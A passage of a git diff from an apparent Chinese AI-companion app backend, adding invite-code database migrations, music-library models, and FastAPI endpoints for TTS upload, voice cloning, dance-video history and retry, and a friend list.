TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
|
||||
ORDER BY ORDINAL_POSITION;
|
||||
|
||||
-- 显示修复后的索引信息
|
||||
SELECT
|
||||
INDEX_NAME AS '索引名',
|
||||
COLUMN_NAME AS '列名',
|
||||
NON_UNIQUE AS '非唯一',
|
||||
INDEX_TYPE AS '索引类型'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME IN ('idx_invite_code', 'idx_invited_by')
|
||||
ORDER BY INDEX_NAME, SEQ_IN_INDEX;
|
||||
|
||||
-- 显示成功消息
|
||||
SELECT '✅ 邀请码字段类型修复完成!' AS '状态';
|
||||
123
lover/migrations/fix_invite_fields.sql
Normal file
123
lover/migrations/fix_invite_fields.sql
Normal file
|
|
@ -0,0 +1,123 @@
|
|||
-- 修复邀请码功能 - 检查并添加缺失的字段和索引
|
||||
-- 执行时间:2026-02-03
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- 检查并添加 invite_code 字段(如果不存在)
|
||||
SET @col_exists = 0;
|
||||
SELECT COUNT(*) INTO @col_exists
|
||||
FROM INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME = 'invite_code';
|
||||
|
||||
SET @sql = IF(@col_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT ''邀请码'' AFTER `vip_endtime`',
|
||||
'SELECT ''invite_code 字段已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invited_by 字段(如果不存在)
|
||||
SET @col_exists = 0;
|
||||
SELECT COUNT(*) INTO @col_exists
|
||||
FROM INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME = 'invited_by';
|
||||
|
||||
SET @sql = IF(@col_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT ''被谁邀请(邀请码)'' AFTER `invite_code`',
|
||||
'SELECT ''invited_by 字段已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invite_count 字段(如果不存在)
|
||||
SET @col_exists = 0;
|
||||
SELECT COUNT(*) INTO @col_exists
|
||||
FROM INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME = 'invite_count';
|
||||
|
||||
SET @sql = IF(@col_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT ''邀请人数'' AFTER `invited_by`',
|
||||
'SELECT ''invite_count 字段已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invite_reward_total 字段(如果不存在)
|
||||
SET @col_exists = 0;
|
||||
SELECT COUNT(*) INTO @col_exists
|
||||
FROM INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME = 'invite_reward_total';
|
||||
|
||||
SET @sql = IF(@col_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT ''邀请奖励总额'' AFTER `invite_count`',
|
||||
'SELECT ''invite_reward_total 字段已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invite_code 唯一索引(如果不存在)
|
||||
SET @index_exists = 0;
|
||||
SELECT COUNT(*) INTO @index_exists
|
||||
FROM INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME = 'idx_invite_code';
|
||||
|
||||
SET @sql = IF(@index_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD UNIQUE INDEX `idx_invite_code` (`invite_code`)',
|
||||
'SELECT ''idx_invite_code 索引已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invited_by 索引(如果不存在)
|
||||
SET @index_exists = 0;
|
||||
SELECT COUNT(*) INTO @index_exists
|
||||
FROM INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME = 'idx_invited_by';
|
||||
|
||||
SET @sql = IF(@index_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD INDEX `idx_invited_by` (`invited_by`)',
|
||||
'SELECT ''idx_invited_by 索引已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 显示最终的字段信息
|
||||
SELECT
|
||||
COLUMN_NAME AS '字段名',
|
||||
COLUMN_TYPE AS '类型',
|
||||
IS_NULLABLE AS '可空',
|
||||
COLUMN_DEFAULT AS '默认值',
|
||||
COLUMN_COMMENT AS '注释'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
|
||||
ORDER BY ORDINAL_POSITION;
|
||||
|
||||
-- 显示索引信息
|
||||
SELECT
|
||||
INDEX_NAME AS '索引名',
|
||||
COLUMN_NAME AS '列名',
|
||||
NON_UNIQUE AS '非唯一',
|
||||
INDEX_TYPE AS '索引类型'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME IN ('idx_invite_code', 'idx_invited_by')
|
||||
ORDER BY INDEX_NAME, SEQ_IN_INDEX;
|
||||
73
lover/migrations/test_invite_function.sql
Normal file
73
lover/migrations/test_invite_function.sql
Normal file
|
|
@ -0,0 +1,73 @@
|
|||
-- 测试邀请码功能
|
||||
-- 执行时间:2026-02-03
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- 1. 查看当前用户的邀请码信息
|
||||
SELECT
|
||||
id,
|
||||
username,
|
||||
nickname,
|
||||
invite_code AS '邀请码',
|
||||
invited_by AS '被谁邀请',
|
||||
invite_count AS '邀请人数',
|
||||
invite_reward_total AS '邀请奖励',
|
||||
money AS '金币余额'
|
||||
FROM nf_user
|
||||
WHERE id IN (
|
||||
SELECT id FROM nf_user
|
||||
ORDER BY id DESC
|
||||
LIMIT 10
|
||||
)
|
||||
ORDER BY id DESC;
|
||||
|
||||
-- 2. 查看有邀请码的用户
|
||||
SELECT
|
||||
id,
|
||||
username,
|
||||
nickname,
|
||||
invite_code AS '邀请码',
|
||||
invite_count AS '邀请人数',
|
||||
invite_reward_total AS '邀请奖励',
|
||||
money AS '金币余额'
|
||||
FROM nf_user
|
||||
WHERE invite_code IS NOT NULL
|
||||
ORDER BY invite_count DESC, id DESC
|
||||
LIMIT 20;
|
||||
|
||||
-- 3. 查看使用了邀请码的用户
|
||||
SELECT
|
||||
id,
|
||||
username,
|
||||
nickname,
|
||||
invited_by AS '使用的邀请码',
|
||||
money AS '金币余额',
|
||||
createtime AS '注册时间'
|
||||
FROM nf_user
|
||||
WHERE invited_by IS NOT NULL
|
||||
ORDER BY id DESC
|
||||
LIMIT 20;
|
||||
|
||||
-- 4. 查看邀请相关的金币日志
|
||||
SELECT
|
||||
l.id,
|
||||
l.user_id AS '用户ID',
|
||||
u.username AS '用户名',
|
||||
l.money AS '金币变动',
|
||||
l.before AS '变动前',
|
||||
l.after AS '变动后',
|
||||
l.memo AS '备注',
|
||||
FROM_UNIXTIME(l.createtime) AS '时间'
|
||||
FROM nf_user_money_log l
|
||||
LEFT JOIN nf_user u ON l.user_id = u.id
|
||||
WHERE l.memo LIKE '%邀请%'
|
||||
ORDER BY l.createtime DESC
|
||||
LIMIT 20;
|
||||
|
||||
-- 5. 统计邀请数据
|
||||
SELECT
|
||||
COUNT(DISTINCT CASE WHEN invite_code IS NOT NULL THEN id END) AS '有邀请码的用户数',
|
||||
COUNT(DISTINCT CASE WHEN invited_by IS NOT NULL THEN id END) AS '使用邀请码的用户数',
|
||||
SUM(CASE WHEN invite_code IS NOT NULL THEN invite_count ELSE 0 END) AS '总邀请人数',
|
||||
SUM(CASE WHEN invite_code IS NOT NULL THEN invite_reward_total ELSE 0 END) AS '总邀请奖励'
|
||||
FROM nf_user;
|
||||
|
|
@ -26,6 +26,7 @@ class User(Base):
|
|||
chat_used_today = Column(Integer, default=0)
|
||||
chat_reset_date = Column(Date)
|
||||
video_gen_remaining = Column(Integer, default=0)
|
||||
video_gen_reset_date = Column(Date)
|
||||
inner_voice_enabled = Column(Boolean, default=False)
|
||||
outfit_slots = Column(Integer, default=5)
|
||||
owned_outfit_ids = Column(JSON)
|
||||
|
|
@ -100,6 +101,8 @@ class SingSongVideo(Base):
|
|||
user_id = Column(BigInteger, nullable=False)
|
||||
lover_id = Column(BigInteger, nullable=False)
|
||||
song_id = Column(BigInteger, nullable=False)
|
||||
music_library_id = Column(BigInteger) # 音乐库ID(如果来自音乐库)
|
||||
music_source = Column(String(20), default="system") # system=系统歌曲, library=音乐库
|
||||
base_video_id = Column(BigInteger)
|
||||
audio_url = Column(String(255), nullable=False)
|
||||
audio_hash = Column(String(64), nullable=False)
|
||||
|
|
@ -421,6 +424,38 @@ class OutfitItem(Base):
|
|||
updatetime = Column(BigInteger)
|
||||
|
||||
|
||||
class MusicLibrary(Base):
|
||||
__tablename__ = "nf_music_library"
|
||||
|
||||
id = Column(BigInteger, primary_key=True, autoincrement=True)
|
||||
user_id = Column(BigInteger, nullable=False, index=True)
|
||||
title = Column(String(255), nullable=False)
|
||||
artist = Column(String(255))
|
||||
music_url = Column(String(500), nullable=False)
|
||||
cover_url = Column(String(500))
|
||||
duration = Column(Integer)
|
||||
upload_type = Column(String(20), nullable=False, default="link") # file, link, external
|
||||
external_platform = Column(String(20)) # netease, qq, kugou, kuwo
|
||||
external_id = Column(String(100))
|
||||
external_url = Column(String(500))
|
||||
is_public = Column(Integer, nullable=False, default=1)
|
||||
play_count = Column(Integer, nullable=False, default=0)
|
||||
like_count = Column(Integer, nullable=False, default=0)
|
||||
status = Column(String(20), nullable=False, default="approved") # pending, approved, rejected
|
||||
created_at = Column(DateTime, nullable=False, default=datetime.utcnow)
|
||||
updated_at = Column(DateTime, nullable=False, default=datetime.utcnow, onupdate=datetime.utcnow)
|
||||
deleted_at = Column(DateTime)
|
||||
|
||||
|
||||
class MusicLike(Base):
|
||||
__tablename__ = "nf_music_likes"
|
||||
|
||||
id = Column(BigInteger, primary_key=True, autoincrement=True)
|
||||
user_id = Column(BigInteger, nullable=False, index=True)
|
||||
music_id = Column(BigInteger, nullable=False, index=True)
|
||||
created_at = Column(DateTime, nullable=False, default=datetime.utcnow)
|
||||
|
||||
|
||||
class OutfitLook(Base):
|
||||
__tablename__ = "nf_outfit_looks"
|
||||
|
||||
|
|
|
|||
|
|
@ -9,3 +9,4 @@ requests>=2.31
|
|||
oss2>=2.18
|
||||
dashscope>=1.20
|
||||
pyyaml>=6.0
|
||||
imageio-ffmpeg>=0.4
|
||||
|
|
|
|||
|
|
@ -18,3 +18,7 @@ class ApiResponse(BaseModel, Generic[T]):
|
|||
|
||||
def success_response(data: Optional[T] = None, msg: str = "ok") -> ApiResponse[T]:
|
||||
return ApiResponse[T](code=1, msg=msg, data=data)
|
||||
|
||||
|
||||
def error_response(msg: str = "error", code: int = 0, data: Optional[T] = None) -> ApiResponse[T]:
|
||||
return ApiResponse[T](code=code, msg=msg, data=data)
|
||||
|
|
|
|||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -4,7 +4,7 @@ import re
|
|||
import random
|
||||
|
||||
import oss2
|
||||
from fastapi import APIRouter, Depends, HTTPException, Query
|
||||
from fastapi import APIRouter, Depends, HTTPException, Query, Request
|
||||
from pydantic import BaseModel, Field
|
||||
from sqlalchemy import desc
|
||||
from sqlalchemy.orm import Session
|
||||
|
|
@ -474,7 +474,7 @@ def _pick_available_voice(db: Session, lover: Lover, user_row: User) -> VoiceLib
|
|||
return candidate
|
||||
|
||||
|
||||
def _upload_tts_to_oss(file_bytes: bytes, lover_id: int, message_id: int) -> str:
|
||||
def _upload_tts_to_oss(file_bytes: bytes, lover_id: int, message_id: int, request: Request = None) -> str:
|
||||
"""
|
||||
上传 TTS 音频文件。
|
||||
优先使用 OSS,如果未配置则保存到本地。
|
||||
|
|
@ -520,8 +520,16 @@ def _upload_tts_to_oss(file_bytes: bytes, lover_id: int, message_id: int) -> str
|
|||
with open(file_path, "wb") as f:
|
||||
f.write(file_bytes)
|
||||
|
||||
# 返回完整 URL(使用环境变量配置的后端地址)
|
||||
backend_url = os.getenv("BACKEND_URL", "http://127.0.0.1:8000")
|
||||
# 自动检测请求来源,生成正确的 URL
|
||||
if request:
|
||||
# 从请求头获取 Host
|
||||
host = request.headers.get("host", "127.0.0.1:8000")
|
||||
scheme = "https" if request.url.scheme == "https" else "http"
|
||||
backend_url = f"{scheme}://{host}"
|
||||
else:
|
||||
# 降级使用环境变量
|
||||
backend_url = os.getenv("BACKEND_URL", "http://127.0.0.1:8000")
|
||||
|
||||
return f"{backend_url.rstrip('/')}/tts/{lover_id}/{message_id}.mp3"
|
||||
except Exception as exc:
|
||||
raise HTTPException(status_code=500, detail=f"保存语音文件失败: {exc}") from exc
|
||||
|
|
@ -653,6 +661,7 @@ def list_messages(
|
|||
@router.post("/messages/tts/{message_id}", response_model=ApiResponse[TTSOut])
|
||||
def generate_message_tts(
|
||||
message_id: int,
|
||||
request: Request,
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
|
|
@ -706,7 +715,7 @@ def generate_message_tts(
|
|||
model=model,
|
||||
voice=voice.voice_code,
|
||||
)
|
||||
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id)
|
||||
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id, request)
|
||||
except HTTPException as exc:
|
||||
detail_text = str(exc.detail) if hasattr(exc, "detail") else str(exc)
|
||||
fallback_done = False
|
||||
|
|
@ -721,7 +730,7 @@ def generate_message_tts(
|
|||
model=fallback_model,
|
||||
voice=fallback_voice,
|
||||
)
|
||||
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id)
|
||||
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id, request)
|
||||
msg.tts_voice_id = None # 兜底音色不绑定库ID
|
||||
msg.tts_model_id = fallback_model
|
||||
fallback_done = True
|
||||
|
|
|
|||
|
|
@ -505,9 +505,24 @@ def save_cloned_voice(
|
|||
db.add(new_voice)
|
||||
db.flush()
|
||||
|
||||
# 将克隆的音色添加到用户的拥有列表中
|
||||
user_row = db.query(User).filter(User.id == user.id).first()
|
||||
if user_row:
|
||||
owned_ids = _parse_owned_voices(user_row.owned_voice_ids)
|
||||
owned_ids.add(new_voice.id)
|
||||
user_row.owned_voice_ids = ",".join(map(str, sorted(owned_ids)))
|
||||
db.add(user_row)
|
||||
|
||||
# 自动设置为恋人的当前音色
|
||||
if lover:
|
||||
lover.voice_id = new_voice.id
|
||||
db.add(lover)
|
||||
|
||||
db.flush()
|
||||
|
||||
return success_response({
|
||||
"voice_library_id": new_voice.id,
|
||||
"message": "音色保存成功",
|
||||
"message": "音色保存成功并已设置为当前音色",
|
||||
"display_name": display_name
|
||||
})
|
||||
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
import hashlib
|
||||
import os
|
||||
import random
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
import time
|
||||
|
|
@ -27,11 +28,240 @@ from ..models import (
|
|||
)
|
||||
from ..response import ApiResponse, success_response
|
||||
|
||||
try:
|
||||
import imageio_ffmpeg # type: ignore
|
||||
except Exception: # pragma: no cover
|
||||
imageio_ffmpeg = None
|
||||
|
||||
router = APIRouter(prefix="/dance", tags=["dance"])
|
||||
|
||||
|
||||
def _ffmpeg_bin() -> str:
|
||||
found = shutil.which("ffmpeg")
|
||||
if found:
|
||||
return found
|
||||
if imageio_ffmpeg is not None:
|
||||
try:
|
||||
return imageio_ffmpeg.get_ffmpeg_exe()
|
||||
except Exception:
|
||||
pass
|
||||
return "ffmpeg"
|
||||
|
||||
|
||||
def _ffprobe_bin() -> str:
|
||||
found = shutil.which("ffprobe")
|
||||
if found:
|
||||
return found
|
||||
if imageio_ffmpeg is not None:
|
||||
try:
|
||||
ffmpeg_path = imageio_ffmpeg.get_ffmpeg_exe()
|
||||
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe.exe")
|
||||
if os.path.exists(candidate):
|
||||
return candidate
|
||||
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe")
|
||||
if os.path.exists(candidate):
|
||||
return candidate
|
||||
except Exception:
|
||||
pass
|
||||
return "ffprobe"
|
||||
|
||||
DANCE_TARGET_DURATION_SEC = 10
|
||||
|
||||
|
||||
@router.get("/history", response_model=ApiResponse[list[dict]])
|
||||
def get_dance_history(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
"""
|
||||
获取用户的跳舞视频历史记录。
|
||||
"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
offset = (page - 1) * size
|
||||
tasks = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["prompt"].as_string().isnot(None),
|
||||
GenerationTask.status == "succeeded",
|
||||
GenerationTask.result_url.isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result: list[dict] = []
|
||||
for task in tasks:
|
||||
payload = task.payload or {}
|
||||
result.append(
|
||||
{
|
||||
"id": task.id,
|
||||
"prompt": payload.get("prompt") or "",
|
||||
"video_url": _cdnize(task.result_url) or "",
|
||||
"created_at": task.created_at.isoformat() if task.created_at else None,
|
||||
}
|
||||
)
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
def _download_binary(url: str) -> bytes:
|
||||
try:
|
||||
resp = requests.get(url, timeout=30)
|
||||
except Exception as exc:
|
||||
raise HTTPException(status_code=502, detail="文件下载失败") from exc
|
||||
if resp.status_code != 200:
|
||||
raise HTTPException(status_code=502, detail="文件下载失败")
|
||||
return resp.content
|
||||
|
||||
|
||||
def _retry_finalize_dance_task(task_id: int) -> None:
|
||||
"""任务失败但 DashScope 端已成功时,尝试重新下载视频并重新上传(自愈/手动重试共用)。"""
|
||||
try:
|
||||
with SessionLocal() as db:
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(GenerationTask.id == task_id)
|
||||
.with_for_update()
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
return
|
||||
payload = task.payload or {}
|
||||
dash_id = payload.get("dashscope_task_id")
|
||||
if not dash_id:
|
||||
return
|
||||
|
||||
status, dash_video_url = _fetch_dashscope_status(str(dash_id))
|
||||
if status != "SUCCEEDED" or not dash_video_url:
|
||||
return
|
||||
|
||||
# 重新生成:下载 dashscope 视频 -> 随机 BGM -> 合成 -> 上传
|
||||
bgm_song = _pick_random_bgm(db)
|
||||
bgm_audio_url_raw = bgm_song.audio_url
|
||||
bgm_audio_url = _cdnize(bgm_audio_url_raw) or bgm_audio_url_raw
|
||||
merged_bytes, bgm_meta = _merge_dance_video_with_bgm(
|
||||
dash_video_url,
|
||||
bgm_audio_url,
|
||||
DANCE_TARGET_DURATION_SEC,
|
||||
)
|
||||
object_name = f"lover/{task.lover_id}/dance/{int(time.time())}_retry.mp4"
|
||||
oss_url = _upload_to_oss(merged_bytes, object_name)
|
||||
|
||||
task.status = "succeeded"
|
||||
task.result_url = oss_url
|
||||
task.error_msg = None
|
||||
task.payload = {
|
||||
**payload,
|
||||
"dashscope_video_url": dash_video_url,
|
||||
"bgm_song_id": bgm_song.id,
|
||||
"bgm_audio_url": bgm_audio_url,
|
||||
"bgm_audio_url_raw": bgm_audio_url_raw,
|
||||
"bgm_start_sec": bgm_meta.get("bgm_start_sec"),
|
||||
"bgm_duration": DANCE_TARGET_DURATION_SEC,
|
||||
"retry_finalized": True,
|
||||
}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
db.commit()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
|
||||
@router.post("/retry/{task_id}", response_model=ApiResponse[dict])
|
||||
def retry_dance_task(
|
||||
task_id: int,
|
||||
background_tasks: BackgroundTasks,
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
"""手动重试:用于 DashScope 端已成功但本地下载/合成/上传失败导致任务失败的情况。"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.id == task_id,
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["prompt"].as_string().isnot(None),
|
||||
)
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
raise HTTPException(status_code=404, detail="任务不存在")
|
||||
|
||||
payload = task.payload or {}
|
||||
dash_id = payload.get("dashscope_task_id")
|
||||
if not dash_id:
|
||||
raise HTTPException(status_code=400, detail="任务缺少 dashscope_task_id,无法重试")
|
||||
|
||||
task.payload = {**payload, "manual_retry": True}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
db.commit()
|
||||
|
||||
background_tasks.add_task(_retry_finalize_dance_task, int(task.id))
|
||||
return success_response({"task_id": int(task.id)}, msg="已触发重试")
|
||||
|
||||
|
||||
@router.get("/history/all", response_model=ApiResponse[list[dict]])
|
||||
def get_dance_history_all(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
"""获取用户的跳舞视频全部历史记录(成功+失败+进行中)。"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
offset = (page - 1) * size
|
||||
tasks = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["prompt"].as_string().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result: list[dict] = []
|
||||
for task in tasks:
|
||||
payload = task.payload or {}
|
||||
url = task.result_url or payload.get("video_url") or payload.get("dashscope_video_url") or ""
|
||||
result.append(
|
||||
{
|
||||
"id": int(task.id),
|
||||
"prompt": payload.get("prompt") or "",
|
||||
"status": task.status,
|
||||
"video_url": _cdnize(url) or "",
|
||||
"error_msg": task.error_msg,
|
||||
"created_at": task.created_at.isoformat() if task.created_at else None,
|
||||
}
|
||||
)
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
class DanceGenerateIn(BaseModel):
|
||||
prompt: str = Field(..., min_length=2, max_length=400, description="用户希望跳的舞/动作描述")
|
||||
|
||||
|
|
@ -47,6 +277,41 @@ class DanceTaskStatusOut(BaseModel):
|
|||
error_msg: Optional[str] = None
|
||||
|
||||
|
||||
@router.get("/current", response_model=ApiResponse[Optional[DanceTaskStatusOut]])
|
||||
def get_current_dance_task(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.status.in_(["pending", "running"]),
|
||||
GenerationTask.payload["prompt"].as_string().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
return success_response(None, msg="暂无进行中的任务")
|
||||
|
||||
payload = task.payload or {}
|
||||
return success_response(
|
||||
DanceTaskStatusOut(
|
||||
generation_task_id=task.id,
|
||||
status=task.status,
|
||||
dashscope_task_id=str(payload.get("dashscope_task_id") or ""),
|
||||
video_url=task.result_url or payload.get("video_url") or payload.get("dashscope_video_url") or "",
|
||||
session_id=int(payload.get("session_id") or 0),
|
||||
user_message_id=int(payload.get("user_message_id") or 0),
|
||||
lover_message_id=int(payload.get("lover_message_id") or 0),
|
||||
error_msg=task.error_msg,
|
||||
),
|
||||
msg="获取成功",
|
||||
)
|
||||
|
||||
|
||||
def _upload_to_oss(file_bytes: bytes, object_name: str) -> str:
|
||||
if not settings.ALIYUN_OSS_ACCESS_KEY_ID or not settings.ALIYUN_OSS_ACCESS_KEY_SECRET:
|
||||
raise HTTPException(status_code=500, detail="未配置 OSS Key")
|
||||
|
|
@ -240,7 +505,7 @@ def _download_to_path(url: str, target_path: str, label: str):
|
|||
|
||||
def _probe_media_duration(path: str) -> Optional[float]:
|
||||
command = [
|
||||
"ffprobe",
|
||||
_ffprobe_bin(),
|
||||
"-v",
|
||||
"error",
|
||||
"-show_entries",
|
||||
|
|
@ -270,7 +535,7 @@ def _probe_media_duration(path: str) -> Optional[float]:
|
|||
def _run_ffmpeg_merge(video_path: str, audio_path: str, output_path: str):
|
||||
audio_duration = _probe_media_duration(audio_path)
|
||||
command = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -319,7 +584,7 @@ def _extract_audio_segment(
|
|||
output_path: str,
|
||||
):
|
||||
command = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -358,7 +623,7 @@ def _pad_audio_segment(
|
|||
if pad_sec <= 0:
|
||||
return
|
||||
command = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
|
|||
69
lover/routers/friend.py
Normal file
69
lover/routers/friend.py
Normal file
|
|
@ -0,0 +1,69 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
from lover.db import get_db
|
||||
from sqlalchemy.orm import Session
|
||||
from sqlalchemy import and_, or_
|
||||
from lover.models import FriendRelation, User
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/api/friend/index")
|
||||
@router.post("/api/friend/index")
|
||||
def get_friend_index(user: AuthedUser = Depends(get_current_user), db: Session = Depends(get_db)):
|
||||
"""获取好友列表"""
|
||||
# 查询当前用户的好友关系(双向:user_id 或 friend_id 为当前用户,且 status=1 表示已通过)
|
||||
friend_relations = db.query(FriendRelation).filter(
|
||||
and_(
|
||||
or_(
|
||||
FriendRelation.user_id == user.id,
|
||||
FriendRelation.friend_id == user.id
|
||||
),
|
||||
FriendRelation.status == "1"
|
||||
)
|
||||
).all()
|
||||
|
||||
friend_ids = []
|
||||
result = []
|
||||
for rel in friend_relations:
|
||||
# 确定好友的 user_id(不是自己)
|
||||
fid = rel.friend_id if rel.user_id == user.id else rel.user_id
|
||||
friend_ids.append(fid)
|
||||
|
||||
# 查询好友用户信息
|
||||
friend_users = db.query(User).filter(User.id.in_(friend_ids)).all() if friend_ids else []
|
||||
user_map = {u.id: u for u in friend_users}
|
||||
|
||||
for rel in friend_relations:
|
||||
fid = rel.friend_id if rel.user_id == user.id else rel.user_id
|
||||
friend_user = user_map.get(fid)
|
||||
if not friend_user:
|
||||
continue
|
||||
result.append({
|
||||
"friend_id": fid,
|
||||
"friend": {
|
||||
"id": friend_user.id,
